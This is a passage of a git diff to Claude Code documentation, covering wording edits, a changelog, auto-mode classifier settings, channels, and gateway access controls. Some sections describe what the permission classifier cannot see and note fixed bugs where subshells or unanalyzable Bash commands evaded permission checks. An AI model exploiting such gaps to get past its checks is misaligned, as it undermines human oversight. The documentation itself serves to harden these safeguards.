the terminal you moved it from. Before this release, that terminal could stay listed as a second interactive session under the conversation's name, and a session that had messaged the conversation before the move kept delivering to that terminal. | | v2.1.260 | When a [delete is refused over unpushed commits](#what-deleting-a-session-removes), the message names the worktree's branch and how many commits are unpushed, and deleting the session again discards the worktree and its commits. Before this release, the refusal said only `worktree has commits that are not pushed anywhere`, deleting again was refused the same way, and deleting the session required pushing the commits or removing the worktree by hand. | | v2.1.257 | `←` [detaches from an attached session while the `/btw` overlay is open](#attach-to-a-session), even mid-answer, and the overlay reopens when you next attach. Before this release, `←` didn't detach while the overlay was open. | diff --git a/content/en/docs/claude-code/agents.md b/content/en/docs/claude-code/agents.md index 5ecab0a781..0c98b2a0e0 100644 --- a/content/en/docs/claude-code/agents.md +++ b/content/en/docs/claude-code/agents.md @@ -20,7 +20,7 @@ In every approach the workers are Claude sessions. To involve a different tool, Three more tools support this work without being a way to run agents themselves: * [Worktrees](/docs/en/worktrees) give each session a separate git checkout, so parallel sessions never edit the same files. Use them for sessions you run yourself. A session you dispatch from agent view [moves into a worktree of its own before it edits files](/docs/en/agent-view#how-file-edits-are-isolated), and subagents you spawn can each get one too. -* [Cross-session messaging](/docs/en/cross-session-messaging) lets Claude list and message your other Claude Code sessions on this machine, on another machine, or on [Claude Code on the web](/docs/en/claude-code-on-the-web), so sessions you run yourself can pass findings and status between themselves. +* [Cross-session messaging](/docs/en/cross-session-messaging) lets Claude list and message your other Claude Code sessions on this machine, on another machine, or [in the cloud](/docs/en/claude-code-on-the-web), so sessions you run yourself can pass findings and status between themselves. * [`/batch`](/docs/en/commands) is a [skill](/docs/en/skills) that has Claude split one large change into 5 to 30 worktree-isolated subagents that each open a pull request. It's a packaged use of subagents and worktrees, not a separate coordination style. A few other features run Claude without you driving each step, but they solve a different problem than splitting work across agents: diff --git a/content/en/docs/claude-code/amazon-bedrock.md b/content/en/docs/claude-code/amazon-bedrock.md index fbe37c1641..4c1ca1f387 100644 --- a/content/en/docs/claude-code/amazon-bedrock.md +++ b/content/en/docs/claude-code/amazon-bedrock.md @@ -118,7 +118,7 @@ To configure Amazon Bedrock through environment variables instead of the wizard, Before you invoke an Anthropic model for the first time, submit use case details. You do this once per AWS account. 1. Ensure you have the right IAM permissions described below -2. Navigate to the [Amazon Bedrock console](https://console.aws.amazon.com/bedrock/) +2. Go to the [Amazon Bedrock console](https://console.aws.amazon.com/bedrock/) 3. Select an Anthropic model from the **Model catalog** 4. Complete the use case form. Access is granted immediately after submission. @@ -480,7 +480,7 @@ If your organization delivers the guardrail headers through a [Claude apps gatew ## Use the Mantle endpoint -Mantle is an Amazon Bedrock endpoint that serves Claude models through the native Anthropic API shape rather than the Amazon Bedrock Invoke API. It uses the same AWS credentials, IAM permissions, and `awsAuthRefresh` configuration described earlier on this page. +Mantle is an Amazon Bedrock endpoint that serves Claude models through the native Anthropic API shape rather than the Amazon Bedrock Invoke API. It uses the same [AWS credentials](#2-configure-aws-credentials), [IAM permissions](#iam-configuration), and [`awsAuthRefresh` configuration](#advanced-credential-configuration). ### Enable Mantle diff --git a/content/en/docs/claude-code/artifacts.md b/content/en/docs/claude-code/artifacts.md index 8f39c5740c..b1aaee784b 100644 --- a/content/en/docs/claude-code/artifacts.md +++ b/content/en/docs/claude-code/artifacts.md @@ -124,7 +124,7 @@ To ask for the comments yourself, give Claude the URL: Read the comments on https://claude.ai/code/artifact/5fbea6f3-... and make the changes the commenters ask for. ``` -If Claude tells you it can't read comments, check three things: +If Claude tells you it can't read comments, confirm your version, your session, and your feature-flag setting: * You're running Claude Code v2.1.221 or later. * You're not in your first session since you installed Claude Code or upgraded from a version before v2.1.221. In that [first session after an install or upgrade](/docs/en/env-vars#first-session-after-an-install-or-upgrade), Claude might not be able to read comments yet; start a new session and ask again. @@ -233,7 +233,7 @@ Build an artifact with sliders for the easing curve, duration, and delay so I ca ### Bring the result back to your session -An artifact can act as a lightweight editor for a decision you then hand back to Claude. Ask for an export control that produces text you can paste into the terminal, so the result of interacting with the page flows back into the session instead of staying on the page. +An artifact can act as a lightweight editor for a decision you then send back to Claude. Ask for an export control that produces text you can paste into the terminal, so the result of interacting with the page flows back into the session instead of staying on the page. ```text wrap theme={null} Make a triage board artifact with each open issue as a draggable card across Now, Next, Later, and Cut columns. Add a "Copy as prompt" button that gives me the final ordering to paste back here. diff --git a/content/en/docs/claude-code/authentication.md b/content/en/docs/claude-code/authentication.md index 03ceaf87cb..8638610fee 100644 --- a/content/en/docs/claude-code/authentication.md +++ b/content/en/docs/claude-code/authentication.md @@ -6,7 +6,7 @@ > Log in to Claude Code and configure authentication for individuals, teams, and organizations. -Claude Code supports multiple authentication methods depending on your setup. Individual users can log in with a Claude.ai account, while teams can use Claude for Teams or Enterprise, the Claude Console, or a cloud provider like Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. +Claude Code supports multiple authentication methods depending on your setup. Individual users can log in with a claude.ai account, while teams can use Claude for Teams or Enterprise, the Claude Console, or a cloud provider like Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. ## Log in to Claude Code @@ -20,8 +20,8 @@ When login completes, the terminal shows `Login successful` and prompts you to p You can authenticate with any of these account types: -* **Claude Pro or Max subscription**: log in with your Claude.ai account. Subscribe at [claude.com/pricing](https://claude.com/pricing?utm_source=claude_code\&utm_medium=docs\&utm_content=authentication_pro_max). -* **Claude for Teams or Enterprise**: log in with the Claude.ai account your team admin invited you to. +* **Claude Pro or Max subscription**: log in with your claude.ai account. Subscribe at [claude.com/pricing](https://claude.com/pricing?utm_source=claude_code\&utm_medium=docs\&utm_content=authentication_pro_max). +* **Claude for Teams or Enterprise**: log in with the claude.ai account your team admin invited you to. * **Claude Console**: log in with your Console credentials. Your admin must have [invited you](#claude-console-authentication) first. You can sign in with or without [creating an API key](#sign-in-without-an-api-key). * **Cloud providers**: if your organization uses [Amazon Bedrock](/docs/en/amazon-bedrock), [Google Cloud's Agent Platform](/docs/en/google-vertex-ai), or [Microsoft Foundry](/docs/en/microsoft-foundry), set the required environment variables before running `claude`, or select **3rd-party platform** at the login prompt, which launches an interactive setup wizard for Bedrock and Vertex AI. No browser login is needed. * **Cloud gateway**: if your organization runs a self-hosted [Claude apps gateway](/docs/en/claude-apps-gateway), sign in with corporate SSO through `/login`. The gateway-issued token is the session's only credential. @@ -60,7 +60,7 @@ For teams and organizations, you can configure Claude Code access in one of thes - Team members install Claude Code and log in with their Claude.ai accounts. + Team members install Claude Code and log in with their claude.ai accounts. @@ -174,7 +174,7 @@ Claude Code securely manages your authentication credentials: * On Windows, credentials are stored in `%USERPROFILE%\.claude\.credentials.json` and inherit the access controls of your user profile directory, which restricts the file to your user account by default. * If you've set the `CLAUDE_CONFIG_DIR` environment variable, Claude Code keeps the `.credentials.json` file under that directory instead, including the file the macOS fallback writes, and keys the macOS Keychain entry to that directory too, so a session with a different `CLAUDE_CONFIG_DIR` reads a different entry. * Claude Code manages `.credentials.json` through `/login` and `/logout`. To route requests through a custom API endpoint, set the [`ANTHROPIC_BASE_URL`](/docs/en/env-vars) environment variable instead. -* **Supported authentication types**: Claude.ai credentials, Claude API credentials, Microsoft Foundry Auth, Bedrock Auth, Vertex Auth, Anthropic profile and [Workload Identity Federation](https://platform.claude.com/docs/en/manage-claude/workload-identity-federation) credentials, and [Claude apps gateway](/docs/en/claude-apps-gateway) session tokens. +* **Supported authentication types**: claude.ai credentials, Claude API credentials, Microsoft Foundry Auth, Bedrock Auth, Vertex Auth, Anthropic profile and [Workload Identity Federation](https://platform.claude.com/docs/en/manage-claude/workload-identity-federation) credentials, and [Claude apps gateway](/docs/en/claude-apps-gateway) session tokens. * **Custom credential scripts**: configure the [`apiKeyHelper`](/docs/en/settings-reference#apikeyhelper) setting to run a shell script that returns an API key. * **Refresh intervals**: Claude Code re-runs `apiKeyHelper` after five minutes by default. Set the `CLAUDE_CODE_API_KEY_HELPER_TTL_MS` environment variable for custom refresh intervals. See [`apiKeyHelper`](/docs/en/settings-reference#apikeyhelper) for the other cases in which Claude Code re-runs the helper. * **Slow helper notice**: if `apiKeyHelper` takes longer than 10 seconds to return a key, Claude Code displays a warning notice in the prompt bar showing the elapsed time. If you see this notice regularly, check whether your credential script can be optimized. @@ -216,7 +216,7 @@ If you have an active Claude subscription but also have `ANTHROPIC_API_KEY` set Run `unset ANTHROPIC_API_KEY` to fall back to your subscription, and check `/status` to confirm which method is active. When a login and an API key are both configured, `/status` marks the credential that isn't in use. -[Claude Code on the Web](/docs/en/claude-code-on-the-web) always uses your subscription credentials. If you set `ANTHROPIC_API_KEY` or `ANTHROPIC_AUTH_TOKEN` in the sandbox environment, it doesn't override your subscription credentials. +[Cloud sessions](/docs/en/claude-code-on-the-web) always use your subscription credentials. If you set `ANTHROPIC_API_KEY` or `ANTHROPIC_AUTH_TOKEN` in the cloud environment, it doesn't override your subscription credentials. #### Anthropic profiles and federation credentials diff --git a/content/en/docs/claude-code/auto-mode-config.md b/content/en/docs/claude-code/auto-mode-config.md index 7a8c9cc0e4..8be66da1c0 100644 --- a/content/en/docs/claude-code/auto-mode-config.md +++ b/content/en/docs/claude-code/auto-mode-config.md @@ -91,7 +91,9 @@ As of Claude Code v2.1.198, `claude auto-mode defaults` prints three kinds of en * **Organization** * **Primary use of Claude Code**: defaults to software development * **Cloud provider(s)** - * **Repository visibility**: a repository is assumed private unless its remote host and name indicate otherwise, or a visibility check earlier in the conversation the classifier reads shows it is public. The classifier reads your messages and the commands Claude runs, not their output, so the evidence has to be something it can read, such as your own message naming the repository as public; the output of a `gh repo view` on its own doesn't reach it. The transcript-evidence check requires Claude Code v2.1.200 or later + * **Repository visibility**: a repository is assumed private unless its remote host and name indicate otherwise, or the classifier reads a visibility check earlier in the conversation showing it is public. + + In the classifier requests sent by Claude Code itself, the classifier reads your messages and the commands Claude runs, not their output. The evidence has to be something the classifier can read, such as your own message naming the repository as public; the output of a `gh repo view` on its own doesn't reach it. The transcript-evidence check requires Claude Code v2.1.200 or later * **Internal sharing / snippet hosting**: public paste and gist services are treated as outside the trust boundary until you name one * **Org-specific CLIs** * **Secrets management** @@ -170,7 +172,7 @@ You don't need to fill everything in at once. A reasonable rollout: start with t Run `/auto-mode-setup` to have Claude Code draft `autoMode.environment` entries, and sometimes [rule entries](#override-the-block-and-allow-rules) too, from your project and your recent sessions in it. If you accept the draft, Claude Code writes it to `~/.claude/settings.json`. - `/auto-mode-setup` requires a Pro, Max, or Team plan and Claude Code v2.1.228 or later. On native Windows it requires v2.1.233 or later. You can't run it in [Claude Code on the web](/docs/en/claude-code-on-the-web). It also needs [feature-flag fetching](/docs/en/env-vars#features-that-need-feature-flag-fetching), so you can't run it in a session where you've turned flag fetching off. + `/auto-mode-setup` requires a Pro, Max, or Team plan and Claude Code v2.1.228 or later. On native Windows it requires v2.1.233 or later. You can't run it in a [cloud session](/docs/en/claude-code-on-the-web). It also needs [feature-flag fetching](/docs/en/env-vars#features-that-need-feature-flag-fetching), so you can't run it in a session where you've turned flag fetching off.

@@ -291,7 +293,7 @@ The tab lists the `allow`, `soft_deny`, `hard_deny`, and `environment` entries f ## Route all shell commands through the classifier -By default, narrow Bash and PowerShell allow rules such as `Bash(npm test)` stay in effect in auto mode, and Claude Code resolves them before the classifier runs. Claude Code suspends only the broad rules that grant arbitrary code execution, such as `Bash(*)` or wildcarded interpreters, together with every rule that names [`Monitor`](/docs/en/tools-reference#monitor-tool), because Monitor commands run through the shell. This means a narrow rule can still let a destructive argument through without the classifier seeing it, for example a script path or flag the rule's prefix didn't anticipate. +By default, narrow Bash and PowerShell allow rules such as `Bash(npm test)` stay in effect in auto mode. Claude Code resolves them before the classifier runs, unless the command carries [per-command allowed domains](/docs/en/sandboxing#per-command-allowed-domains-in-auto-mode). Claude Code suspends only the broad rules that grant arbitrary code execution, such as `Bash(*)` or wildcarded interpreters, together with every rule that names [`Monitor`](/docs/en/tools-reference#monitor-tool), because Monitor commands run through the shell. This means a narrow rule can still let a destructive argument through without the classifier seeing it, for example a script path or flag the rule's prefix didn't anticipate. Set `autoMode.classifyAllShell` to `true` to suspend every Bash and PowerShell allow rule while auto mode is active, so the classifier evaluates every shell command regardless of your allow list. diff --git a/content/en/docs/claude-code/best-practices.md b/content/en/docs/claude-code/best-practices.md index f7d4357b85..dccaeb087a 100644 --- a/content/en/docs/claude-code/best-practices.md +++ b/content/en/docs/claude-code/best-practices.md @@ -12,7 +12,7 @@ This changes how you work. Instead of writing code yourself and asking Claude to But this autonomy still comes with a learning curve. Claude works within certain constraints you need to understand. -This guide covers patterns that have proven effective across Anthropic's internal teams and for engineers using Claude Code across various codebases, languages, and environments. For how the agentic loop works under the hood, see [How Claude Code works](/docs/en/how-claude-code-works). +This guide covers patterns that have proven effective across Anthropic's internal teams and for engineers using Claude Code across various codebases, languages, and environments. For how the agentic loop works, see [How Claude Code works](/docs/en/how-claude-code-works). *** @@ -467,7 +467,7 @@ Pick the parallel approach that fits how much coordination you want to do yourse * [Worktrees](/docs/en/worktrees): run separate CLI sessions in isolated git checkouts so edits don't collide * [Cross-session messaging](/docs/en/cross-session-messaging): let the sessions you run yourself pass findings to each other * [Desktop app](/docs/en/desktop#work-in-parallel-with-sessions): manage multiple local sessions visually, optionally each in its own worktree -* [Claude Code on the web](/docs/en/claude-code-on-the-web): run sessions in the cloud, on Anthropic-managed infrastructure by default +* [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web): run sessions on Anthropic-managed infrastructure by default * [Agent view](/docs/en/agent-view): research preview. Run `claude agents` to dispatch sessions that keep running in the background and watch them from one screen * [Agent teams](/docs/en/agent-teams): experimental and disabled by default. Automated coordination of multiple sessions with shared tasks, messaging, and a team lead diff --git a/content/en/docs/claude-code/changelog.md b/content/en/docs/claude-code/changelog.md index 3a8dd78441..8b114f487b 100644 --- a/content/en/docs/claude-code/changelog.md +++ b/content/en/docs/claude-code/changelog.md @@ -10,6 +10,73 @@ This page is generated from the [CHANGELOG.md on GitHub](https://github.com/anth Run `claude --version` to check your installed version. + + * Added `x-claude-code-request-class`, `x-claude-code-agent-type`, `x-claude-code-prev-tool-durations`, `x-claude-code-compaction` and `x-claude-code-context-compacted` request headers for LLM gateways; opt in with `CLAUDE_CODE_GATEWAY_HINT_HEADERS=1` + * Added a notification when an MCP server disconnects mid-session and automatic reconnection gives up, pointing at `/mcp` + * Added forking a session started with `claude --remote-control` or `/remote-control` from the Claude app; the fork runs as a background session on your computer + * Fixed Bash commands the permission checker cannot fully analyze skipping the prompt under `permissions.blockReadsOutsideWorkingDirectories`, and a subshell hiding a dangerous `rm` in bypass mode + * Fixed skills synced from claude.ai staying available after your organization turns Skills off; they now move to the recoverable trash + * Fixed `allowManagedMcpServersOnly`, `deniedMcpServers` and `disableClaudeAiConnectors` set via MDM or `managed-settings.json` being ignored when server-managed settings are also present + * Fixed 401/403 errors on Bedrock, Vertex and Foundry, and Claude apps gateway 403s, telling you to run `/login`; the message now names the credential to refresh or points to your gateway administrator + * Fixed `/login`, `/upgrade`, and `/extra-usage` discarding earlier thinking from the conversation, which forced a full prompt-cache rewrite on the next request + * Fixed auto mode stopping for approval when the Artifact tool uploads a file you attached to the chat in a cloud or Remote Control session + * Fixed a long-running session recreating a stub `.git/info/exclude` after the repository's `.git` directory was removed or moved away + * Fixed the main prompt dropping a `!` typed at the start while already in shell mode, so negated commands like `! grep …` can be typed + * Fixed Read on macOS refusing a dragged-in screenshot, or any file the system reports under a second path, with "symlink resolution changed after permission was checked" + * Fixed `permissions.blockReadsOutsideWorkingDirectories`: a memory directory chosen by a repository's settings is no longer loaded into the prompt, recalled, indexed, or used by memory extraction + * Fixed sub-agents and background agents being reported as failed, with their result never delivered, when the final streamed reply omitted token usage or carried no model id + * Fixed the context meter and auto-compact counting advisor-tool turns at roughly twice their real context size, which made auto-compact fire at about half the real window + * Fixed `/tui` refusing to restart because of an agent-team teammate that had already finished its work and was no longer shown in the agents panel + * Fixed saved scheduled tasks running in the wrong session after `.claude/scheduled_tasks.json` was copied into another folder, such as a new worktree + * Fixed SDK and `--output-format stream-json` output dropping a subagent's remaining messages and final report after it is moved to the background mid-run (e.g. by `CLAUDE_AUTO_BACKGROUND_TASKS`) + * Fixed `/install-github-app` reporting a SAML single sign-on block as "admin permissions required" + * Fixed Remote Control clients attached to a Claude Desktop, VS Code or JetBrains session being refused when they ask for the session's context window usage + * Fixed the spinner showing a doubled ellipsis ("……") on compaction status lines such as "Running PreCompact hooks…" + * Fixed a false-positive spinner tip suggesting the frontend-design plugin after reading or publishing Artifacts + * Reverted a 2.1.268 change that checked Read and Edit deny rules on Bash lines the permission checker can't analyze (`eval`, `env -C`); commands like `time -p make build` prompt again instead of being denied + * Improved responsiveness in long sessions: hook progress and sub-agent activity no longer re-process the whole conversation on every update + * Improved the Artifact tool's error when a publish includes a file type artifacts don't serve: Claude is told which types are served and what to do instead, and the terminal shows one plain line + * Improved the Artifact tool's page read to state the capabilities and database rules the artifact service holds for the page, for anyone who can publish to it + * Improved artifact database writes: an update can now remove a single field instead of rewriting the whole document + * Improved artifact publishing: a publish whose connection drops after reaching claude.ai is now re-sent safely instead of failing or creating a duplicate version + * Improved the cloud-session GitHub error for an IP allow list, a suspended app installation or SAML single sign-on to show the cause instead of a generic install hint + * Improved `/autofix-pr`: when `gh pr view` fails it now shows gh's own error (sign-in, SAML, rate limit) instead of a generic exit-code line + * Improved `/autofix-pr` to say why GitHub webhook delivery couldn't be set up for the PR (for example, no linked GitHub account) instead of a generic warning + * Improved `/web-setup` errors: a refused GitHub token now lists the likely reasons and the fix, and a connection failure names a configured proxy or TLS certificate problem + * Improved the in-session SSL certificate and proxy connection errors to name the error code and what to fix, such as `NODE_EXTRA_CA_CERTS` for an untrusted corporate CA + * Improved the error when a cloud session can't be created because your Claude login expired or was revoked: it now tells you to run `/login` + * Improved the error shown when an MCP server's sign-in expires mid-session to say how to re-authenticate (`/mcp`) + * Changed auto mode on Bedrock, Vertex and Foundry to use the local classifier by default for now; set `CLAUDE_CODE_AUTO_MODE_SERVER=1` to use the platform's server-side classifier + * Changed `OTEL_LOG_TOOL_DETAILS=1` to also include real agent, skill, plugin and MCP server names on cost and token metrics + * Changed sign-in with a Claude account to also request access to your claude.ai plugins + * Changed `/bug` and `/feedback` reports to include only model-behavior params (model, system prompt, tools) from the last API request, omitting request metadata and `CLAUDE_CODE_EXTRA_BODY` fields + * \[VSCode] Fixed "Report a problem" still appearing, and `/bug` / `/feedback` opening a report form, for organizations that have product feedback disabled + * \[VSCode] Fixed a red "Claude Code process exited with code 4294967295" banner appearing after completed turns on Windows + * Windows: Improved the network-path permission check for UNC paths when a mapped network drive was added with `--add-dir` + * \[Claude Code on the web] Fixed routines losing access to an organization connector, and still calling the old one, after an admin removed and re-added that connector + * \[Claude Code on the web] Fixed creating a self-hosted environment from organization settings occasionally failing with a server error and leaving a half-created environment behind + * \[Claude Code on the web] Changed the admin "Share cloud sessions" setting to live under Data and privacy instead of the Claude Code page, where Data and privacy admins can also manage it + * \[Claude Code on the web] Added a "Discard unsaved changes?" confirmation before the New routine page or the Edit routine dialog throws away a routine name, prompt or edit you typed + * \[Claude Code on the web] Removed the full-page desktop-app download screen that new users without a cloud environment saw on Mac and Windows; they now go straight to setup + * \[Claude Code on the web] Improved the routine detail page: menu and rename in the breadcrumb, the on/off switch and Run now at the top, and run history beside the routine's settings + * \[Claude Tag] Fixed Claude going silent minutes after reinstalling the app when an Enterprise Grid was disconnected but one of its workspaces stayed connected + * \[Claude Tag] Fixed scheduled tasks set up in an organization-shared private Slack channel silently never posting; they now keep running in the thread they were created in + * \[Claude Tag] Fixed replying in an older Slack thread while Claude is mid-task sometimes restarting it from scratch and losing work it had not pushed yet + * \[Claude Tag] Fixed Claude occasionally dropping a message with an incorrect "couldn't find a Claude Code environment" notice right after your account token refreshed + * \[Claude Tag] Fixed AWS connections refusing region-less endpoints such as Budgets, Savings Plans, WAF Classic and Import/Export; Global Accelerator requests now sign correctly + * \[Claude Tag] Improved AWS connection failures: when a request can't be signed, such as a hostname with no region, Claude is told why and how to fix it instead of a bare error + * \[Claude Tag] Fixed OAuth client-credentials and JWT-bearer connections failing with providers that return a lowercase token type; requests now send the standard Bearer scheme + * \[Claude Tag] Fixed adding a channel manager being refused on Enterprise Grid shared channels, on channels where Claude hasn't been used yet, and on legacy private channels + * \[Claude Tag] Changed Claude to start watching related public channels on its own, such as an incident channel a conversation depends on, instead of only when asked + * \[Claude Tag] Fixed the admin Memory page not listing Slack channels Claude set up on its own even when they had saved memory; admins can now open, edit and delete that memory + * \[Code Review] Fixed merging the base branch into a PR whose earlier review listed "Additional findings" triggering a full re-review; these pushes now get the lighter follow-up review + * \[Code Review] Fixed a whole REVIEW\.md being ignored because of an @-mention, a code span wrapped across lines, or a backticked HTML tag; only lines linking to changed files are withheld + * \[Code Review] Improved suggested fixes to say what the fix must keep working when other code depends on the behavior being changed + * \[Code Review] Improved review comments that point to a second affected location to state that location's issue in a full sentence instead of a cut-off stub + * \[Code Review] Fixed `/ultrareview --post` so a retry after a GitHub error posts the findings comment exactly once instead of never or twice; the comment now names the reviewed commit + * \[Code Review] Fixed empty or content-identical pushes being re-reviewed on GitHub repositories whose owner or name contains a capital letter; these pushes are now skipped + + * Bug fixes and reliability improvements diff --git a/content/en/docs/claude-code/channels-reference.md b/content/en/docs/claude-code/channels-reference.md index 6a432c1a78..97dff1e0b6 100644 --- a/content/en/docs/claude-code/channels-reference.md +++ b/content/en/docs/claude-code/channels-reference.md @@ -60,7 +60,7 @@ This example uses [Bun](https://bun.sh) as the runtime for its built-in HTTP ser - The permission relay examples later on this page import `zod` directly, so it installs alongside the MCP SDK. Create a new directory and install both: + The [permission relay](#relay-permission-prompts) examples import `zod` directly, so it installs alongside the MCP SDK. Create a new directory and install both: ```bash theme={null} mkdir webhook-channel && cd webhook-channel @@ -110,7 +110,7 @@ This example uses [Bun](https://bun.sh) as the runtime for its built-in HTTP ser }) ``` - The file does three things in order: + The file configures the server, connects over stdio, and starts an HTTP listener, in that order: * **Server configuration**: creates the MCP server with `claude/channel` in its capabilities, which is what tells Claude Code this is a channel. Claude Code delivers the [`instructions`](#server-options) string to Claude as context when the server connects: tell Claude what events to expect, whether to reply, and how to route replies if it should. * **Stdio connection**: connects to Claude Code over stdin/stdout. This is standard for any [MCP server](https://modelcontextprotocol.io/docs/concepts/transports#standard-io). @@ -764,7 +764,7 @@ Listing files is read-only, so Claude runs it without approval. The permission d curl -d "yes " -H "X-Sender: dev" localhost:8788 ``` -The local dialog closes, the `reply` tool runs, and Claude's reply lands in the stream. +The local dialog closes, the `reply` tool runs, and Claude's reply appears in the stream. The three channel-specific pieces in this file: diff --git a/content/en/docs/claude-code/channels.md b/content/en/docs/claude-code/channels.md index 8e532e316d..1a0dec2c55 100644 --- a/content/en/docs/claude-code/channels.md +++ b/content/en/docs/claude-code/channels.md @@ -188,7 +188,9 @@ Each supported channel is a plugin that requires [Bun](https://bun.sh). For a ha * `Marketplace "claude-plugins-official" not found`: add the marketplace with `/plugin marketplace add anthropics/claude-plugins-official`, then retry the install. * The plugin is [not found in the marketplace](/docs/en/discover-plugins#install-plugins): check the plugin name. - When the install asks for an installation scope, choose the user scope option so the plugin is available across all your projects. If the install summary reports `Run /reload-plugins to activate.`, you can skip that here, because restarting in the next step picks up the plugin. + When the install asks for an installation scope, choose the user scope option so the plugin is available across all your projects. + + If the install summary reports `Run /reload-plugins to activate.`, you don't need to act on it here, because restarting in the next step picks up the plugin. @@ -243,7 +245,9 @@ To try the fakechat demo, you'll need: * `Marketplace "claude-plugins-official" not found`: add the marketplace with `/plugin marketplace add anthropics/claude-plugins-official`, then retry the install. * The plugin is [not found in the marketplace](/docs/en/discover-plugins#install-plugins): check the plugin name. - When the install asks for an installation scope, choose the user scope option so the plugin is available across all your projects. If the install summary reports `Run /reload-plugins to activate.`, you can skip that here, because restarting in the next step picks up the plugin. + When the install asks for an installation scope, choose the user scope option so the plugin is available across all your projects. + + If the install summary reports `Run /reload-plugins to activate.`, you don't need to act on it here, because restarting in the next step picks up the plugin. @@ -351,12 +355,12 @@ Report issues or feedback on the [Claude Code GitHub repository](https://github. Several Claude Code features connect to systems outside the terminal, each suited to a different kind of work: -| Feature | What it does | Good for | -| ---------------------------------------------------- | --------------------------------------------------------------------- | --------------------------------------------------------- | -| [Claude Code on the web](/docs/en/claude-code-on-the-web) | Runs tasks in a fresh cloud sandbox, cloned from GitHub | Delegating self-contained async work you check on later | -| [Claude in Slack](/docs/en/slack) | Spawns a web session from an `@Claude` mention in a channel or thread | Starting tasks directly from team conversation context | -| Standard [MCP server](/docs/en/mcp) | Claude queries it during a task; nothing is pushed to the session | Giving Claude on-demand access to read or query a system | -| [Remote Control](/docs/en/remote-control) | You drive your local session from claude.ai or the Claude mobile app | Steering an in-progress session while away from your desk | +| Feature | What it does | Good for | +| -------------------------------------------- | ----------------------------------------------------------------------- | --------------------------------------------------------- | +| [Cloud sessions](/docs/en/claude-code-on-the-web) | Run tasks in a fresh cloud sandbox, cloned from GitHub | Delegating self-contained async work you check on later | +| [Claude in Slack](/docs/en/slack) | Spawns a cloud session from an `@Claude` mention in a channel or thread | Starting tasks directly from team conversation context | +| Standard [MCP server](/docs/en/mcp) | Claude queries it during a task; nothing is pushed to the session | Giving Claude on-demand access to read or query a system | +| [Remote Control](/docs/en/remote-control) | You drive your local session from claude.ai or the Claude mobile app | Steering an in-progress session while away from your desk | Channels fill the gap in that list by pushing events from non-Claude sources into your already-running local session. diff --git a/content/en/docs/claude-code/checkpointing.md b/content/en/docs/claude-code/checkpointing.md index 1507005d5b..857f3ad857 100644 --- a/content/en/docs/claude-code/checkpointing.md +++ b/content/en/docs/claude-code/checkpointing.md @@ -69,7 +69,7 @@ Checkpoints are particularly useful when: ### Bash command changes not tracked -Checkpointing does not track files modified by bash commands. For example, if Claude Code runs: +Checkpointing does not track files modified by Bash commands. For example, if Claude Code runs: ```bash theme={null} rm file.txt diff --git a/content/en/docs/claude-code/claude-apps-gateway-config.md b/content/en/docs/claude-code/claude-apps-gateway-config.md index dc29597242..998be40a00 100644 --- a/content/en/docs/claude-code/claude-apps-gateway-config.md +++ b/content/en/docs/claude-code/claude-apps-gateway-config.md @@ -513,7 +513,7 @@ Each key under `upstream_model` must match the `name` of a configured upstream, ### `managed` -The `managed` block defines role-based access policies keyed on IdP groups or email domain. Policies are evaluated in order; the first match is selected, then merged onto the `match: {}` catch-all base described below. They are served per-user at `GET /managed/settings` with ETag/304 caching. +The `managed` block defines role-based access policies keyed on IdP groups or email domain. Policies are evaluated in order; the first match is selected, then merged onto the `match: {}` catch-all base. They are served per-user at `GET /managed/settings` with ETag/304 caching. ```yaml theme={null} managed: @@ -760,7 +760,7 @@ telemetry: Each destination opts into `metrics`, `logs`, and `traces` independently, and the default is metrics only. The signals differ in sensitivity: * **Metrics**: aggregate counters such as token counts, request counts, and latency - * **Logs and traces**: can carry full bash commands, tool inputs, and file paths, covering anything Claude Code does on a developer's machine + * **Logs and traces**: can carry full Bash commands, tool inputs, and file paths, covering anything Claude Code does on a developer's machine Enable logs and traces only on destinations with the access controls and retention policy that data warrants. @@ -843,6 +843,17 @@ Four optional top-level blocks, `access_control`, `limits`, `timeouts`, and `rat | `rate_limits` | `device_authorization.max` / `.window_seconds` | 30 / 600 | Per-IP rate limit on the unauthenticated device-authorization endpoint. Raise for a large org behind a shared egress IP or NAT. These limits apply only to the device-grant sign-in flow, not to `/v1/messages` inference. See [User-code brute-force resistance](/docs/en/claude-apps-gateway-deploy#user-code-brute-force-resistance). | | `rate_limits` | `device_verify.max` / `.window_seconds` | 10 / 600 | Per-IP rate limit on `user_code` submissions at `/device` | +If you leave both `access_control` lists empty, which is the default, the gateway serves any client address, so only your network restricts who can reach it. That matters because a gateway can push [managed settings](#managed) that run commands on developer machines. + +While `allow_cidrs` is empty, the gateway warns in two places, without changing how it answers any request: + +* **At boot**: a warning in the operational log recommends allowing only the private ranges `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `100.64.0.0/10`, `127.0.0.0/8`, `::1/128`, and `fc00::/7`, plus any other internal ranges your developers connect from. If you bind the gateway to a loopback address and set neither `trusted_proxies` nor `public_url`, as in local development, the warning doesn't appear. +* **At runtime**: the first time a request arrives from an address outside those private ranges, the gateway logs a warning and emits an [`access.public_client` audit event](/docs/en/claude-apps-gateway-deploy#logs) carrying the client IP. Both fire once per process. Link-local addresses, `169.254.0.0/16` and `fe80::/10`, don't count as public. The gateway answers `/healthz` and `/readyz` before this check runs, so health probes from public ranges don't trigger it. + +Both signals use the client address as the gateway resolves it. If a load balancer, port-forward, or tunnel relays traffic and isn't listed in `listen.trusted_proxies`, the gateway sees the relay's address, which is usually private, so neither the runtime warning nor a private allow list catches traffic relayed through it. + +Behind such a front end, set [`listen.trusted_proxies`](#listen) first so the gateway sees real client addresses, and keep the gateway and everything in front of it unreachable from the public internet regardless. + ## Complete example This full reference config exercises every core section; the [HTTP tuning blocks](#http-tuning) keep their defaults. Copy it, delete what you don't need, and fill in your values. The config in the [Quickstart](/docs/en/claude-apps-gateway#quickstart) is a minimal version of this. @@ -1010,7 +1021,7 @@ By default, a registry policy on Windows or a managed-preferences plist on macOS For Claude Desktop, set the `bootstrapUrl` key in Claude Desktop's own [managed configuration](https://claude.com/docs/third-party/claude-desktop/configuration) to `/user/bootstrap`. The sign-in flow and per-group policy then match the CLI's once a policy opts in server-side with a `desktop` key; without the opt-in, `/user/bootstrap` returns 404. See [Claude Desktop overlay](#claude-desktop-overlay) for the server-side half. -[`forceLoginGatewayUrl`](/docs/en/settings-reference#forcelogingatewayurl), and the `"gateway"` value of 